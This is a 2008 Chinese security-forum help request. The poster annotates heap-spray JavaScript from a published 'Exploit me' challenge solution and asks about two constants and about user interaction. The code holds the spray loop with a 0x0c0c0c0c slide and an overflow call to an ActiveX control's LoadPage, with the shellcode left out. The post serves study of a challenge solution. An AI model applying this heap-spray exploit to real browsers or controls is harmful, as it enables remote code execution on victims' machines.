首页
社区
课程
招聘
[旧帖] [求助]heap spray代码遇到困难 0.00雪花
发表于: 2008-5-21 22:32 4182

[旧帖] [求助]heap spray代码遇到困难 0.00雪花

2008-5-21 22:32
4182
我刚下载了了看雪论坛精华9,在看Exploit me挑战赛第二题解答时,下面代码有一些不明白的地方
var heapSprayToAddress = 0x0c0c0c0c;//这是要跳转的地址,我看了一下要求,是汇编单字节的指令,经常用的是0c0c0c0c和0a0a0a0a。
var shellcode = unescape……;//省略

var heapBlockSize = 0x100000;//固定长度
var payLoadSize = shellcode.length * 2;                      //unicode要求乘以2?
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);//0x38不理解,是否堆头部信息固定长度?
var spraySlide = unescape("%u0c0c%u0c0c");//覆盖的地址
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;//分配堆的数量,保证覆盖到0c0c0c0c。其中0x100000是否是文件映射地址?这个数据我也不明白
memory = new Array();

for (i=0;i<heapBlocks;i++)//填充空间,保证代码覆盖到我们需要的地方
{
                memory[i] = spraySlide + shellcode;
}

function getSpraySlide(spraySlide, spraySlideSize)//在shellcode之前填写足够长度的填充数据。
{
        while (spraySlide.length*2<spraySlideSize)
        {
                spraySlide += spraySlide;
        }
        spraySlide = spraySlide.substring(0,spraySlideSize/2);//unicode字符,包含两个字节,所以除以2。我会用for(i=0;i<spraySlideSize/2;i++)spraySlide += unescape("%u0c0c%u0c0c")来做,我的方法明显速度会慢很多。
        return spraySlide;
}

var s = "";
while (s.length < 260) {       
        s += '\x0c';
}
target.LoadPage(s,1,1,1);
上面是我的分析,我对两个固定值不太明白,希望各位帮我解答。谢谢

另外在危害分析部分,有这么一句:
        因为这个控件是safe的,所以可以不需要用户交互即可运行恶意代码
如何使用用户交互来运行代码?什么情况下使用用户交互?

[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 231
活跃值: (21)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
关心下自己问的问题,希望各位不吝赐教。
2008-5-22 22:32
0
游客
登录 | 注册 方可回帖
返回
//